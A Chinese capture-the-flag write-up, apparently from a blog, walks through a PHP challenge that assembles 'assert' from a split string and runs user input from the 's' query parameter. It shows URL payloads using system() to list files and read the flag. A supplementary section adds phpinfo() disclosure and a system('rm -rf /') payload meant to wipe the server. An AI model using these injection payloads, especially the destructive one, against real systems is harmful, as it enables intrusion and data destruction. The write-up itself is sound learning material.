CTF--shell

一、原题

(1)提示:

poc="a#s#s#e#r#t";poc_1=explode("#",poc);poc_2=poc_1\[0\].poc_1[1].poc_1\[2\].poc_1[3].poc_1\[4\].poc_1[5]; poc_2(_GET['s'])

(2)原网页:一片空白什么都没有


二、步骤

1.提示:

php 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

2.提示分析:

php 复制代码
$poc="a#s#s#e#r#t";
// 定义一个字符串 $poc,内容为 "a#s#s#e#r#t"

$poc_1=explode("#",$poc);
// 使用 explode 函数将字符串 $poc 按照 "#" 分割成数组
// 结果是 $poc_1 = ['a', 's', 's', 'e', 'r', 't']
                         
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
// 将数组 $poc_1 中的元素通过字符串拼接操作符 "." 连接成一个字符串
// 结果是 $poc_2 = "assert"

$poc_2($_GET['s']);
// 动态调用函数 $poc_2,并传入用户输入的参数 $_GET['s']
// 由于 $poc_2 的值是 "assert",这一行代码等价于:assert($_GET['s']);

3.利用代码注入漏洞,构造新的URL:

117.72.52.127:15439?s=system(ls)

或者:

117.72.52.127:15439?s=system(dir)

4.输入:

117.72.52.127L15439?s=system(''cat flaga15808abee46a1d5.txt')

获得flag:

三、补充

1.其他代码注入漏洞:

http://117.72.52.127:15640?s=phpinfo()

执行phpinfo(),泄露服务器PHP配置信息

http://117.72.52.127:15640?s=system('rm -rf /')

执行rm -rf,删除服务器上的所有文件(假如有权限)

2.参数值分析:

system('ls')

system:PHP 的一个内置函数,用于在服务器上执行操作系统命令,并将输出直接返回给调用者

ls:Linux 系统中的一个命令,用于列出当前目录下的文件和文件夹

四、RCE:

RCE(远程代码执行漏洞)原理及漏洞利用-CSDN博客

相关推荐
爱学习的程序媛17 小时前
浏览器工作原理全景解析
前端·浏览器·web
还是鼠鼠1 天前
AI掘金头条新闻系统 (Toutiao News)-获取新闻分类
后端·python·mysql·fastapi·web
fanzhonghong2 天前
javaWeb开发之前端实战(Tlias案例-部门管理)
前端·后端·web·前后端分离
初学小白...3 天前
JavaWeb
javaweb·web
曲幽4 天前
让 FastAPI Agent 思考不阻塞:手把手教你实现异步任务与后台处理方案
redis·python·agent·fastapi·web·async·celery·ai agent·backgroundtask
其实防守也摸鱼4 天前
upload-labs靶场的pass-2~12的解题步骤及原理讲解
笔记·安全·web安全·网络安全·教程·web·工具
带刺的坐椅4 天前
SolonCode v2026.5.13 发布:开启“数字员工”新时代
web·ai编程·soloncode·im机器人
我命由我123456 天前
Dart - Dart SDK、Hello World 案例、变量声明、常量声明、常量 final、字符串类型
前端·flutter·前端框架·html·web·dart·web app
曲幽6 天前
让FastAPI Agent真正记住你:聊聊会话记忆与持久化存储的落地实践
redis·python·postgresql·fastapi·web·chat·async·session·ai agent
_Twink1e6 天前
基于Vue的纯前端的库存销售系统
前端·vue.js·vue·web